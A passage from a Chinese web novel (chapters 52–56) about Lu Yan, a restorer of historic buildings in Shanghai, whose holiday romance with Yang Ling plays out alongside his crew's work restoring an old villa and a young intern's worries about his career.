端着牛奶在餐桌旁边对他说。 暖黄壁灯在她身后洇开一圈朦胧的晕,细瓷般的皮肤泛着冷玉光泽。 是谁把月亮揉碎了撒在空气里? 陆砚情不自禁地向着走去——大脑明明告诉他还没换鞋——但身体有自己的想法。 “杨灵......” “陆先生请坐,如果想吃的话我帮你再拿个碗。” 这个语境让他匆忙刹住了车,顺便也从先是悲伤、后是不安的复杂心情中出来。 之所以谈不上大喜大悲,是因为没有‘喜’。 他是有些饿,主要是累,于是说: “杨小姐不介意的话我看你吃就行。” 拿起牛奶,居然是温热的。 入口醇香,意外不错。 如此水温也能化得开,看来冲牛奶这件事上她是有造诣的。 “啊——” 一双筷子伸过来,筷子上面夹了块八宝鱼肉。 突然的亲昵让陆砚有些惊喜,毫不犹豫张开嘴—— 却吃了口空气。 “......这个‘啊’,不是对我说的?” “不是啊~” 陆砚给她一个‘你最好吃每口菜都啊一声’的眼神。 “我去帮你拿筷子~” 居家服走向橱柜,轻轻摇晃出一个婀娜的身姿。 杨小姐今晚看起来有点活泼。 挺好的。 这里还指代菜的味道。 陆砚拿起她的筷子,‘喜’也在今晚凑齐了。 第五十二章 出去玩吧 如果你醉了一半跑到喜欢的女人家里——前提是她也喜欢你——并企图留宿的时候,她突然递来纸条让你折千纸鹤、并说‘如果你折一只纸鹤送给我,我就考虑一下’的话: 千万别信她的‘鬼话’! 还有,千万别折那么好! ...... 一觉醒来,国庆第四天,施工队放假最后一天。 也是陈禹新婚第一天,陆砚先给他俩发了个新婚快乐,看看一会有没有‘爱’的反馈以物质形式呈现。 起床洗漱,不忘给杨灵发个消息,看对方大晚上‘见死不救’会不会心怀愧疚。 墨斗先生:你忽略了一个问题,专车司机并没有提供送客人回房间的服务,昨天差点摔跤。 对方正在输入中。 陆砚换了身衣服,准备下去吃早午餐的时候手机才响。 @adeline:(小猫委屈.jpg) 表情包一如既往可爱,但...... 不应该是‘笑’、‘反驳’或者‘关心’吗? 一边下楼,他觉得再试试。 “假期开心吗?” 对方正在输入。 “老板,糍饭团、一个茶叶蛋、一杯豆浆。” 付完款,再看手机。 @adeline:现在有点不开心。 啃着实质上的午饭,他思忖,如何才能带着杨灵玩一天的同时,把事情给兼顾了? ...... “喂,老金是我,今天过来看看你。” 陆砚开着车,还打着电话。 之所以这么‘狂’都是因为副驾驶的杨小姐提供手机支架服务。 就是不知道,智商那么高的她为什么没想到电话有免提功能呢。 但不妨碍讲电话。 “哎啊别介,我专门过来给您帮忙还不行吗?管饭就行。”他说着,倒是一点不急。 如果是杨灵拿着电话,他不介意车上煲个粥。 “嘟嘟嘟......” 电话挂断了。 额,还得对方也不介意才能成立。 “刚才你好像说的是约我出去玩。”她说。 然后低头玩手机,陆砚的。 得亏这点是他的加分项,索性放开了给她检......玩手机。 陆砚说:“放假还在忙工作,这一幕不让上级领导看见也太亏了,您说是不是?” 想着,虽然这波有立人设的嫌疑,但工作确实就是如此用心呀! 这样上进的男人可得打着灯笼找,你得看紧咯。 “可是看到你工作,我也想工作了怎么办?” “...” 卷,已经成本能了吗? 而且,刚才您不是说‘有点不开心’吗? 红灯。 陆砚决定趁机发挥娱乐精神,让她高兴亦是此行主要目的。 “杨——” “这个私密相册是什么?” “...” 红灯还有57秒。 街边行人随手丢的水瓶在空中定住,他仿佛意识到什么。 如果今生今世仅有两次时光倒流的机会他会毫不犹豫选择今天,如果硬要说一个确切的节点他会毫不犹豫选择五分钟前。 相册里是什么需要打码、见不得人的照片吗? 不是。 那......? 是现阶段不能给杨灵看的照片。 因为她今天‘有点不开心’,看完后有99.9%概率变为‘很不开心’,陆砚这样分析道。 所以,是选择回避问题为今天埋下一颗‘不信任’的种子和可悲的厚障壁,还是直面问题让该来的雷来得更猛烈些? 红灯还有56秒,陆砚说: “如果你今天表现得好,我就告诉你。” ...... 松江区广富林路 3088弄,云朵书院修在一座明代高房内。 书店内回廊环绕,随处可见古朴的雕花扇门、木柱窗棂和凝结着松江历史人文元素的古今字画作品。 林晚声喜欢书院的名字,也喜欢这里的装饰和古朴氛围。 它们总是似有若无的勾起人们的记忆,时间空间的隔阂在这里近乎消失,只剩沉醉和惬意。 ‘云桌’桌面,一本自带的普鲁斯特的追忆似水年华合页上,手机显示着两人的照片。 那会她爱看文学,于是对陆砚说,人和人之间想要深度共鸣太难了。 当时陆砚一下子傻愣住,脸上写着不知所措。 随后反手递给他一张书单,对他说,看完上面的书你就可以真正了解我。 这便是最强安利方式,亦是最让人有读书动力的方式。 尽管后面陆砚也学了唱歌和吉他,但她永远不会忘记,两人一起在桌前读《爱在黎明破晓前》时、内心安宁的感觉。 哦对了,还有《呼啸山庄》。 相册再划过一页,便看完了。 她早已背下里面每张照片背后的内容,以及曾经发生的故事。 只是那时的她太年轻,幸福的日子过久了便开始渴望自由和梦想。 等梦想触地后,方才醒悟什么才是生活的真谛。 还来得及吗? 指尖点开和他的对话框,消息记录停留在一年前。 那个暴雨天晚上10:37分、陆砚问她路上顺利吗,她说一切顺利。 好像来不及了。 ...... “啊,这个窑顶要留十二个‘天眼’,对,对头,直径五寸左右就行。” “这样可以吗?” “可以、可以,多一点少一点不影响的哈!” 老金的嘴脸让陆砚感到恶心,杨灵的待遇让他感到妒忌。 算了。 老金,坏;杨小姐,好。 “看着点噢杨小姐,要是站不稳记得往我这边倒。”陆砚看着眼前两个手脚架其中之一、上面的杨灵。 一开始怕她待旁边无聊,想着让她玩玩黏土就当做陶艺了。 谁知道老金见到她就跟换了个人似的,硬是热情邀请体验‘高端局’。 不过站下面看着,确实高。 “你小子狗嘴说什么晦气话!没事干就在下面扶着!”老金说。 老金年纪一大把了还拧不清局面,这谁的妞难道还不明显吗? 这局面就不能留给年轻人吗? “好嘞,这就给您扶着。” “给她扶!” “...” 嗯,老头有点东西,可惜就是老了点,不然还真是个可怕的对手。 “陆砚,过来。”杨灵说,“我想下来了。” “体验结束了?” 陆砚暗笑,任你老金花样百出,能吸引住的也只有我一个人罢了。 他原打算花一天帮老金把‘装窑’完成,这步比较费劲,没曾想人自个就做得七七八八。 宝刀未老啊! 她把长竹竿先递下去,说:“能者多劳,你上比较合适。” 闻言,他还能说什么呢? 扶着手脚架小心接她下来后,便打了鸡血似的接班、完成十二‘天眼’的活。 女人,竟该死的令人兴奋! 做好记号后拿起铁凿子,他准备打开外层窑顶,结果一转头,老金也下去了。 “老金?” “做你的事!” 话说这窑顶,由三层构成: 外层是黏土混合稻草的‘护窑泥’,中层是耐火砖,内层是窑膛耐火土。 ......陆砚回头往下瞄,远处两人在聊天,途中老金还去烧水一副泡茶待客的姿态。 凿开了护泥窑啊,便露出了耐火砖,凿的时候要斜着下凿避免垂直用力导致砖块崩裂。 他发着狠凿砖,表面上如此,实则...... 除开最初几分钟外,后续时间都挺认真的。 期间杨灵递过水,老金偶尔过来指点几嘴,直到内层土面修整的时候才一起过来处理细节。 这么一弄,两点到四点半的时光就溜走了。 要知道,这可是假期的午后、黄金两个半小时,懂得人自然知道弥足珍贵。 想必老金也晓得不好意思,留了两人吃饭,亲自下厨。 “怎么样杨小姐,跟着陆哥混时刻有下顿,对是不对?” 陆砚看似乐呵,实则自嘲。 有怀疑,这饭可能仅凭他的面子是不够的。 “对,陆先生请喝茶。” 杨灵端来茶杯,然后拆开湿纸巾递来。 细节和情绪价值拉满了,偏偏男人都是贱的,陆砚开心之余却暗自揣测对方为何这么贴心。 恋爱经验使然? “谢谢。”他说。 “怎么谢?”她说。 “...” 杨小姐的眼睛越来越好看了,因为它越发爱笑,笑的时候卧蚕微微托举,颇有灵气。 怎么谢?以身相许可否? “陆总来端菜!”老金叫小弟似的叫唤陆总,陆总欣然往之。 掀开青石铺子和后宅之间的粗布门帘,走五步拐个弯,就到一间两人宽的厨房。 老金在里面,两个灶台,一个煲汤、一个大概是炒菜。 “什么时候开工?”他问。 “明天吧,菜呢?” 灶面上菜都没洗,热锅还没下油。 “菜你来炒,”老金把另一个灶调成小火,把陶罐盖一半,“明天中秋节开什么工?带着人丫头出去玩一天。” 什么?没看日历中秋节他倒真没印象。 还好老金提醒,差点误了事。 “那明天再休息一天,我去看看杨老头。” 中秋节是家人团圆的时刻,自家师父那边是必须要去的。 “一个老头子有什么好看的?明天我跟他说。叫带人出去玩你就听劝!”老金吹了吹长度不够的胡子,一样威风。 有时候面对‘权威’就很无语。 “......得,得。” 第五十三章 圆满的一天 【古建再生事务所(8)】 张野:早知道多放一天假,昨晚不该睡那么早(龇牙.jpg) 冯小军:尊敬的领导,感谢您平日的指导与支持,在这个团圆的时刻,愿您的家庭幸福美满,事业如日中天,中秋节快乐!(鲜花,亲吻,拥抱.jpg) 赵立言:师徒二人格局高下立判。 张野:快删了,我来发!@冯小军 苏棠:大家中秋快乐!节日快乐!群主发红包! 说得好! 陆砚从床上起来立马给家里二老包了个红包以表心意,随后附上电话问候。 今天他要去杨老头家吃饭,还得和杨小姐出去玩——昨天饭桌上说好的。 不清楚是留洋派的自由,或者杨小姐顶着家里压力才出来,总之今天心情好得跟天气一样和煦。 ...... 浦东惠南区某座略带年代感的居民楼内,陈禹一家在此度过了婚后第一个中秋。 照例应该回男女任意一方家里过,第二天再轮到另一家,或者干脆一齐聚着吃个饭热闹热闹。 总之方式因人而异。 这天,陈禹、颜朵两口子哪都没去,就家庭重要还是事业重要展开了婚后第一场争吵—— 陈禹一开始想带着老婆去合作伙伴家里聚餐、后又退而求其次试图独自赴约。 男方理由是:前天提前约好了。 女方理由是:未经家庭会议通报,约定无效。 客厅静悄悄,茶几上放着一口未动的生煎包和豆浆,袅袅的热气渐渐隐退空气中。 有时候矛盾不可怕,就怕双方都有一定正当性且彼此不肯让步! ‘正确’与‘正确’之间的争议,唯有一方妥协方可平息,如若不然...... 谈到最后,陈禹引申到‘很可能会影响未来事业发展、家庭财政状况’; 颜朵更严重,从几年前讲起,开始质疑两人关系的坚固性。 这是一场注定不会有亲朋劝架的战争,因为今天是阖家团圆的日子,家丑不宜外扬。 是的,他们成家了。 ...... 何以为家? 顾南乔昨天接到顾明远电话后,赶在大清早提着东西回静安别墅,却扑了个空。 阿姨告诉她,顾先生出去谈客户了,大概晚上回来。 于是她将信将疑地回自己房间呆着,开启过于空闲的一天。 看看电影、翻翻朋友圈。 打小她就没有玩手机的习惯,很快就百无聊赖起来。 不是没想过约杨灵去做做美容、一起逛逛街什么的。 前者两人都很喜欢,后者是杨灵突然间感兴趣的。 这意味着什么,依闺蜜俩的默契自然不言而喻。 可她又不是陆砚,一个人在上海的他正好和一个人的杨灵作伴。 天知道这两人今天又该多潇洒? ...... 光线把体育馆的玻璃幕墙割成碎晶片,却照不进中央那片羽毛球场。 男人单脚碾了碾鞋底,橡胶与塑胶地面摩擦出砂纸打磨金属般的冷响。 他握拍的虎口处暴起青筋,碳纤维拍框在阴影里泛着幽蓝,像淬过冰的匕首斜指地面。 对面的女人将马尾辫绕成发髻,风吹过,发尾甩出的弧度像精密的检测仪。 起球。 羽毛球经由球拍像炮弹般高射而出,越过最高点后便泄了力,以慢镜头般的姿态开始下坠。 她握着球拍的手指关节泛白,瞳孔里映着羽毛球的倒影,却像被冻在原地的石膏像。 马尾辫绕成的发髻随着微仰的脖颈绷直了线条,手腕微微内扣、手持球拍等待时机、呈蓄力状。 “扑——” 直到羽毛球轻飘飘落在光洁的额心上,那拍也不曾挥出。 陆砚:“...” 羽毛球骨碌碌滚到脚边,女人眨了眨眼,才像断电重启的机器人般双手抱头蹲下去。 说实话,有点可爱,又有点好笑。 “杨小姐,没事吧?”他表现得很急,就像不小心从二楼撞下半桶糯米胶那样担心。 若不是亲眼看到球只是落在额头而非眼睛,或许真会那样懊悔不已。 “陆砚,你的球砸到我了。”她说。 每个人都是独一无二的个体,因此每个人在羽毛球场的说辞都因人而异。 尽管在再三确认且放水,杨灵说‘打羽毛球的时候陆砚故意用羽毛球砸到她了’,有毛病吗? 没有。 因此要道歉。 “不好意思,太久没打手生了。” 话语没有泄露一丝笑意,堪称完美。 所以这般离奇的展开又怎会发生在晚上8点的同济体育场呢? 这得从两点钟的时候,陆砚从杨老头家出来、去老洋房和杨灵碰面说起。 ...... “对,这个角度真的绝了!脸颊微微侧一点,哇,是古希腊掌管美貌的神吗?好看的嘞这张!” 老洋房一直以来就是适合拍照片的地方,尤其阳光明媚、心情畅快的时候。 陆砚决定讨个巧,专挑女孩子愿意花时间的项目带杨灵玩一天。 期间只要嘴甜、搞好服务,想必对方不至于心里会落空。 “这些话听着好奇怪,摄像师先生从哪借用的?” “内在心意百分百是真的。” 拍摄进行了十来分钟,杨灵才从各种夸奖中适应过来。 嗯,是一个可以从容在‘夸夸群’进退自如的女子了。 oversize浅灰色连帽卫衣配上墨绿色百褶长裙,她安静站在彩绘玻璃窗前、任由彩色光将她晕染。 这套显然与之前各种针织衫或者连衣裙风格不同,看着可真洋气。 于是拍摄结束,陆砚递给她一瓶水暂做休息,在一旁对照模特进行人像速写——上次一块深夜吃火锅的时候便想这么做了。 “刚才我就想问,为什么两点半的时候你闹钟会响啊?” 用铅笔勾勒眉骨时,笔尖总忍不住在眉峰处轻颤,让眉尾化作几根被橡皮擦淡的绒毛。 “那是做眼保健操的时间。”她抿了小口水,一滴汗从鬓边淌过。 对,就是国内中、小学生午间休息结束后做的那种。 当时陆砚就像看了欧亨利的短篇小说一样,意料之外但情理之中。 一想到结束今天的活动以后,杨灵要专门回家补一次眼保健操,嘴角就忍不住上扬。 于是在那个连空气因子都十分乖巧的午后,经商量,他的炭笔有幸记录下27岁版本的眼保健操。 杨灵爱在睡前喝一杯牛奶,而且得喝完再刷牙;工作时戴眼镜;现在又多了一条,下午要做眼保健操。 对方的生活已经向他撕开了道口子,彼此越来越融洽。 融洽到,他有勇气挑开那个话题—— “杨小姐对修缮方案是什么看法呢?我们一直缺个机会好好聊聊。” 犹记得初相识那会,她在住建局会议室上‘刚硬’的发言以及两人不可开交的讨论,实在不堪回首。 因此他说的是杨小姐而非杨博士,此时是朋友间的推心置腹而非工作上的不依不饶。 鸟在梧桐树上‘叽啾’叫唤。 这次,她酝酿了好久才开口,“现代技术已经到了比较成熟的阶段......它可以解决很多传统工艺的局限性,还兼顾安全和经济性......但是你们好像很排斥。” 还记得初版意见书上面,杨灵给出的三个主要争议点中,光是‘自然通风方案需通过cfd气流模拟’这条,就会在建筑形态和构造上产生影响。 比如...... 设置通风中庭或者引入机械辅助通风之类的。 他也想了一会,手里的画笔暂时搁置,小心翼翼说: “修缮的本质......我们认为修缮的本质是‘最小干预’,机械施工会破坏木构件的自然纹理吧?用文保局的话说就是:文保优先,拒绝商业化改造......” 交流不在内容,有时候是一种态度、情绪上的交换。 杨灵怕语气太冲场面没有余地,陆砚也怕、甚至更怕。 相信对方能感觉出来。 “那,我们一起探索两者的平衡点,怎么样?” “好。” 所以纵使分歧,又有什么可怕的呢? 纵使‘对’与‘对’发生冲突,只要双方有握手言谈的心,定不会产生最糟的结果。 这点适用的地方很多,这天过后,陆砚对与杨灵之后的恋爱关系产生了不小的信心。 一个坦诚且愿意讲道理的女人,怎么能不喜欢呢? ...... “陆砚,你的球砸到我了!” “不好意思,太久没打手生了。” 从素描稿的线条他想到了姣好的身材,进而想到她家厨房墙上那张卡路里计算表。 陆砚得知对方每天还有计算食物热量的习惯后,大手一挥,便带着去逛商场、后又来到同济的体育场馆做运动。 节食不过下下策,真正的好身材是练出来的! 打了两球。 “陆砚我鞋带散了~” “好嘞,这就帮你系个漂漂亮亮的蝴蝶结。” 五分钟后。 “陆砚我口渴了。” 十分钟。 “我真的不行了。” 用游戏里的话术来说对方像个演员。 望着小姑娘汗涔涔的额头,他递过去一张纸巾,又推翻了上面的猜测。 杨灵,可能只是单纯的菜而已。 那么男人有什么办法呢? “走,换身衣服请你吃大餐!” 第五十四章 劳动让人心安 举国欢庆的最后两天,新华路的宁静亦有了些微波澜,老洋房内一派‘生机盎然’。 “张师傅不是我这个做小的说你,这大过节的,眼袋这么深像话吗?嗯?” 冯小军来了,原本实习生七天假期如今提前两天,他来了。 梳着油头、紧着裤脚,精神饱满、气宇轩昂。 “哎,等你小子到我这个年纪就懂了,这是一双悲悯人间苦难的双眼,眼袋才显得压力大。” “嗬哟,那我这算不算洞悉世间色彩的眼睛?咱怎么一副帅毙了的模样?” 休假本就是充能的过程,何况意料之外多休一天呢? 小赵特地把长发打理一遍,整得像半个艺术家——倘若工装换成宽松服装,就成整个了。 八点五十五,陆砚卡点进门将对话收入耳底,好笑之余亦是干劲满满。 “陆师傅最后才来,不像话。” 场上辈分最小、且作为唯一的女同志,苏棠如是发起她的欢迎讲话。 明明老周还没来! 没去纠正这番不严谨的表述,陆砚对大伙笑了笑。 既然休息好了那就狠狠给我卖命吧! ...... 270平米的豪宅里,只有两个人的空间却丝毫没让人觉得冷清。 顾南乔还是禁不住电话里的请求,推了一小时前才答应的社交邀约、专程过来教杨灵化妆和穿搭。 至此,世界上又一位精英男在诧异中做了无效复盘并结合经验、调整后续追求策略。 “乔乔,我觉得这个‘多巴胺’穿搭不靠谱。” 荧光粉的西装马甲,内衬亮黄露肚脐背心,下面是bv绿的褶皱半裙——所谓多巴胺搭配就是这么鲜亮。 顾南乔左手托着右手,右手托着下巴,面容严肃。 实则心里笑出花。 倘若不找点乐子,自己大老远跑一趟多亏啊? 放了一个小帅哥鸽子、牺牲自己未来可能的幸福,成全你和那个渣男,纵是闺蜜也实在牺牲太大了! “灵灵你不懂,现在男人就喜欢这套,你越光彩夺目、越明艳动人,他们就越喜欢。成就感你晓得伐?追到这样的女孩子男人简直不要太有成就感了!” 她继续忽悠,后续还有相应的荧光糖果妆等着安利,如此才算浑然一体,惊艳全场。 “嗯......那我再试试?” 依稀记得某本时尚杂志出过类似的搭配,据说在夏天市场反响不错; 而且从心理学角度来说,闺蜜的发言也基本上吻合‘适应性支配欲’的概念。 所以这一刻她是矛盾的: 看着镜子里的自己感到十分陌生,陌生中又觉得违和;可理性又告诉自己,乔乔的话没问题,应该多听取‘专业人士’的意见。 没错,在二女之间,顾军师是凌驾于杨灵好几个段位的恋爱大师——她们都这样认为。 “别试了就这套,快,今天争取把荧光糖果妆、果冻渐变妆学会,为师只教一遍哦!” “好。” ...... 花二十分钟把五天前一楼布置的保护措施检查、加固一遍后,张野和冯小军从二楼偏厅的最外侧房间开始逐步鉴定、记录。 意图从外到里逐个瞧过去,不放过任何一个被历史抚摸过的物件。 老周则接着就一开始的房梁木精细敲打、修补。 他不一样,出场费高于众人且工期紧,老洋房这个小半年的项目能来三个月就算出‘大成本’了。 属正儿八经的头部老匠人! “苏棠,材料用量三天一算,到时候你找小赵和老周核对。还有今天的两餐,记得找人家开发票。” 陆砚也是木作班子出生,相较老周级别低两级,涉猎的项目倒是不少。 此刻在二楼阳台,做栏杆修补的收尾工作。 原则上,本该从外到里、从上而下的顺序进行工作,确保内部结构不受二次损坏与重复施工。 老洋房二层之上有个带老虎窗的阁楼,那才是整座建筑最顶端——理当优先作业才对。 但亦有特殊状况。 例如眼前的阳台侧柱在一个多月前属于严重腐朽的构件,那便优先处理。 “陆师傅,我有个主意,可能花点小钱~” 苏棠接到指示后并没有急着离开,浑然不知在背后呆了多久。 停下手头的功夫,陆砚抬头看她。 俗话说干一行爱一行,他们的后勤第一次提意见必须得鼓励其积极性: “说,不影响工作尽量满足。” 另一边。 阳光下闲适舒展的老洋房,实则二楼地板上,每踩实一步便惹来老木头呻吟一声。 “说那洋房修缮,肯定绕不开老式门窗。这是那什么?”他指着最里房间的窗户问,“雕花棂格是也不是?” 嘿,张野敢打赌,尽管冯小胖子是大学生,‘棂格’这俩字他也不会写! 冯小军看向那扇横竖木条交错、将门窗分割成多个小单元的木窗骨架,再细看,其上还有缠枝莲纹样,纹样细节略有差异。 倘若每一道雕花均为匠人手工凿刻...... “这是老的,宝贝啊!”他说。 避开了张野的卖弄,却也没说错。 眼前的木门窗油漆剥落程度不多,他准备进一步检查榫卯连接和铜制合页状况。 “现在跟着我过一遍,估摸着这栋房子每扇窗户都是这个档次的,到时候你也要帮忙上手检查。” 阳光透过棂格的雕花漏进来。 张野屈起指节叩了叩边框,‘笃笃’声里透着空洞。 “榫头怕是松了。” 话音未落,左手已探进窗沿与墙体的夹缝,轻轻一摇,整扇窗竟晃出半指宽的缝隙。 这个角度看,那些缠枝莲的花瓣边缘本该是利落的翻卷,如今却有些棱线磨圆了。 像被时光含在嘴里反复舔过的棒棒糖。 “...” “张师傅,这么大动作合适吗?” “咳,小军啊,老物件具有迷惑性,看似金玉其外实则得试试才知道,就跟这上了年纪的男人一样......你懂了吧?” “这辈子不可能懂的!” ...... 众人凑在大厅,在苏棠顶着中午大太阳买回来的电扇前,吃午饭。 一众表扬称赞里,司机陆砚没有抢工的意思,靠边笑着吹捧:“还是女生心细。” 说的不仅是这一件事,她还买了立牌和十来个铭牌——爆了一百来个金币,陆砚觉得值。 就在二楼墙面、扶梯上,设置的小型铭牌以后会上标注负责工匠的名字和修复日期。 既让每个人的劳动成果被清晰看见,还顺便完成了工作中的记录任务,这便是‘擅于工作’的体现。 老实讲,他原以为苏棠准备提‘装空调、升级服装’这些鬼点子呢。 “小苏这个铭牌搞得满不错。”老周说。 张野边吃饭边说:“二楼最里面的房间,一会写上你张哥的名字,听到没军儿~” 冯小军不语,只是一味扒饭。 顿时,张野便没那么多话了,干劲满满。 大大的铁风扇风缓缓转动,吹拂每个人的脸颊。 一种充实的心境下,他们把影子投在青砖上,与老洋房的阴影叠在了一起。 人和事都朝着好的方向发展。 脸上有汗、打趣,有猛吃饭的劲头,它们共同组成了陆砚的心安处。 每每这时,高得让人喘不过气的摩天大楼也好,快得把人类远远抛在身后的ai技术也好,亦不过沦为时代的一粒尘、轻轻落在老洋房的房梁上。 谈笑间,樯橹灰飞烟灭。人生短暂,不过几度夕阳红。 有些东西几十年就会消亡。 百年建筑不语,只是轻轻存在在这片大地。 “小苏事情做得好不好?” “好!” “所以今天下午,继续努力,别辜负咱们小朋友一番心意。” “ok!” “哎,别抢饭!” 第五十五章 迷茫的年轻人 冯小军有点萎靡,昨天强度有点高,他觉得腰有点痛、又不能明说。 “你怎么了?”苏棠问。 没化妆,一身干练的工装、马尾,依然是老洋房内、比之外面花瓣稍带露水的娇嫩小花更娇嫩的苏棠。 “害,昨天回去操练了一个半小时,今天肌肉有点点酸,一点点......哈哈!” 只说是‘操练’,这样既没有撒谎还能让人误会他有锻炼的习惯。 自己不愧是校学生会出来的优秀人才,反应堪比问正山东栏目里的领导发言! “陆师傅又是压着点来啊!” 她总可以第一时间客串迎宾,回头转身、上至门前,开启反向‘pua’。 哎,陆师傅真惨,苏棠一点都没有关心的痕迹,和自己在她那完全不是一个待遇。 家人们,她关心我而不关心他,这是一胜; 我一胜他零胜,这是两胜; 我两胜,他没胜,这是三胜...... 已经小赢了! “陆师傅,又吃茶叶蛋啊?”突然心情变得很好。 猛地挪着腰往前拱,却不想传来的疼痛如此强烈! “嘶——” “怎么了?”吓得陆砚鸡蛋剥了一半、另一半都顾不上就走了过来。 要知道,削苹果不断皮算不了甚,剥茶叶蛋一次成功才算个手法练习! “...” “苏棠一边玩去,现在是男人谈话时间。” “切!” 狠狠瞪了一眼陆砚,顺带瞥了眼冯小军,顿时这小子心里拔凉拔凉的。 暗自道恼,陆师傅还是太直男,不懂女人心。 “陆师傅,我应该是锻炼太狠把背伤着了。” 又是一句称不上说谎的语言艺术,他只要加了‘应该’就不算说谎、败坏人品。 对方理解有误?那逻辑不行啊! “行,今天回去休息吧。” “不,不过些许风霜罢了。” “那.......” 属实猜不透当代年轻人的心思,平均三年一代沟的话,这两道沟足以让他在内跌倒好几回了。 所以您这是怎么个事嘛? 冯小军扭了扭,大概是若无其事的口吻: “主要,我怕耽误工作进度。” 这话有水平。 就如同老周突然要请一个月长假那般‘罪孽深重’。 老周是何许人物?光听名字恐怕稍稍不如冯小军大大威风~ “不错,有觉悟,团队就需要你这样的人才!” “害,本职工作,应该的。”他顿了顿,试探问道:“前些天我家里问起,说咱们这个行业前景有点不稳定......陆师傅,您看我后续能留在这吗?” 说是‘试探着问’,然而眼神清澈、举止也算大方,相对而言他更喜欢这样的性格。 不绕兜子! 陆砚把茶叶蛋放大门窗台边,试图站在一个大学未毕业、对职业规划仍有茫然的新人角度去看这个问题。 他能察觉对方身上的不坚定、不自信。 就像他大二,杨老头,那时要喊杨老师,让背着个书包就去了顾村公园施工现场。 正儿八经的政府拨款项目、杨启文带着班子成员亲自参与修复。 当天傍晚,陆砚蹲在大门外的草坪上回复班群信息,泥土腥气混着青草香打在脸上,闷且潮湿。 杨启文平静地走过来,直截了当问,要不要做他们这行...... 于20岁的陆砚来说那只是个如往常一样的日子,他跟着老师出去逛逛; 现在看来,命运的岔口原来如此隐蔽,一个不慎就是另个人生。 冯小军在对方漫长的沉默中急了又急,心道这难道就是传说中的‘官腔’吗? 接下来是请吃饭、送礼、拍马屁环节? 他的自尊心不允许他这么做,所以硬是在原地撑了十来秒才准备接受‘自己被社会大染缸同化的事实’。 “陆哥,如果你今晚有空......” “我认为行业规模在增大——,你说什么?” “没!您接着说。” “......行业壮大的同时正遭受着新技术手段的冲击。” 他想到了自己和杨灵,旧与新,两者是否只能留一个呢? “但是这边专业人才的缺口也挺大,实话实说,今天来的路上我刚拒了一个项目,因为和老洋房时间冲突了。” “那陆哥,您的意思是,我是人才?” 他的眼睛一下子找到聚焦点,就像男人天然会盯着女孩的腿看那样聚焦。 陆砚哑然。 自己充其量有这方面的鼓励和暗示,冯小军就顺杆子往上爬......适合当销售? “那必然是,社会主义接班人必须是人才。不过你对这行有兴趣吗?初期面临枯燥的基础工作,不仅要掌握现代建筑相关知识,还要学习传统建筑技艺......” 这么一说,他都觉得自己是个人才了,居然懂这么多! 果然,乐观精神是最好的兴奋剂。 接下来,他们谈了入行一系列难点,主要是陆砚说,冯小军听。 陆砚不得不在这之前把话跟他说清楚;冯小军面对这些陌生的知识点不得不多听多记。 “资质、履历,新人很难直接参与主要工作,难以获得实际项目经验。不仅如此,薪资待遇还拉跨,工作环境不如白领办公室,等等。反正先跟着咱们把老洋房做了,再考虑后面,你觉得呢?” “哦哦,好。” 冯小胖总是回答问题回答得很快。 他以为这是智商高、反应快的表现,实则会留下年轻、不靠谱、没深度的印象。 话又说回来了,哪个年轻人不这样? 年轻,就是最大的财富! 手握财富,有点毛病怎么了? “张哥!快下来把你高徒带走,今天务必在一片铭牌刻上冯大哥的名字!” 苏棠的点子很好使,从昨天到现在,张野铆足了劲希望自己的铭牌被挂墙上,以弥补学生时期没拿三好学生的遗憾。 “陆哥,他能上墙我把头给你!” ...... 十天前预报的寒潮终于要来了。 比昨天稍稍凉爽些的午后,陆砚和小赵只是微微出汗。 这不意味着强度低,有可能是脑力劳动也说不准。 “雀替方案的彩绘部分我们拿好方案了,构件内部修复怎么说?” “老木头在找,这个不难,老周把房梁补上以后专门给他几天时间来搞这个雀替。”陆砚说。 如果仅仅是这样的对话,还远远称不上脑力劳动。 听话听音,棋盘两边落子人和操盘手并不是同一个——虽然这个比喻不恰当,但形式上有相似之处。 小赵代表老赵的观点,老周在忙,同为木作的陆砚兼团队负责人便代替他发言。 一开始两人在撮合的其实是‘保护表面纹饰完整性与恢复结构强度’间的主次问题。 前者是彩绘师傅的主职,后者是木作师傅的作业目标。 偏偏两者难以兼顾! 就像给伤口涂碘伏时遇上怕酒精的纹身: 木作修复要给糟朽的构件‘消毒’,但彩绘修复的颜料层敏感得狠,高呼‘莫哀老子’! 所以小赵说‘我们拿好方案了’意在请求木作配合,纵使会让木作难度直线上升;陆砚则从专业的角度分析,感觉难度过大,便打起太极。 这算一小部分全貌。 手机震响,陆砚打了个招呼,去接电话。 “大律师,有什么案件需要小的帮忙啊?” “大律师不需要找小人物帮忙,所以人家不是大律师!” “那就是需要帮忙咯?说说。” 陆砚从后院手脚架附近的阴凉地走向葡萄架处的阴影,有种考完试后的闲适轻松感。 话说,已经有多久没跟好兄弟联系了? “要你帮忙?笑话,陆师傅倒是可以拿着土锹子帮忙在律所前面栽几棵树,中午出去吃饭的时候帮我遮遮阳~” 明明你是修木头的,人家偏说你是祖国的园丁——这种向上碰瓷咱可不兴接受哈。 “天热了上火?律所要是开不起空调的话,那咱们工作环境可就差距不大了呀。” 律师最擅长摆事实、讲逻辑,当她们不摆事实、不讲逻辑的时候,这恰恰就是真正需要注意的事实。 顾乔乔心情不好。 如果把心情不好的人看作‘感冒发烧’之类的病人,那陆砚就耐心多了...... 绝不仅是因为对方颜值高! 都哥们! “......好了我不跟你说了,有事呢。” 电话挂了。 仿佛莫名其妙只是打来‘对线’几句找找乐子。 但......朋友。 在本可以袖手旁观的时候选择‘多管闲事’的人,才算朋友。 不是吗? 墨斗先生:假期最后一天怎么样?方便接电话扣1 对方正在输入中。 @adeline:1 第五十六章 她们来做客 所以明天寒潮前,晚上在陆砚家吃饭,是‘重生之我在沪上修危房’三人组一致协商同意的结果。 陆砚和张野、冯小军再三检查一楼隔离、二楼门窗加固后,才正式结束工作。 墨斗先生:杨小姐,要不要一起去逛超市,同意扣1 对方正在输入中。 @adeline:2 额...... ‘2’如果代表拒绝的话,应该是加上杨灵微信以来,第一次被拒。 值得纪念的一天呐。 陆砚老老实实开车去商场,多挑了些食材后,考虑要不要打电话问问她们。 设想一下晚上三人在客厅吃饭的场景——这回肯定不像老陆来的时候——今晚面对的是一位淑女和一位......女神经? 那还问啥? 陆砚站在生鲜区冷柜前思考宏大的人生问题: 已知杨灵喜欢蔬菜汁,他可以选择这款对方已经喝了很多次的饮品,也可以尝试推荐其他健康且好喝的类型。 生活经验告诉他,要求同存异、不做改造他人的事;但又纠结这是否是准男友应尽的义务——带对方体验新事物。 然后...... 打给顾南乔,问她该给杨灵准备什么喝的。 对方听一半大骂‘直男’。 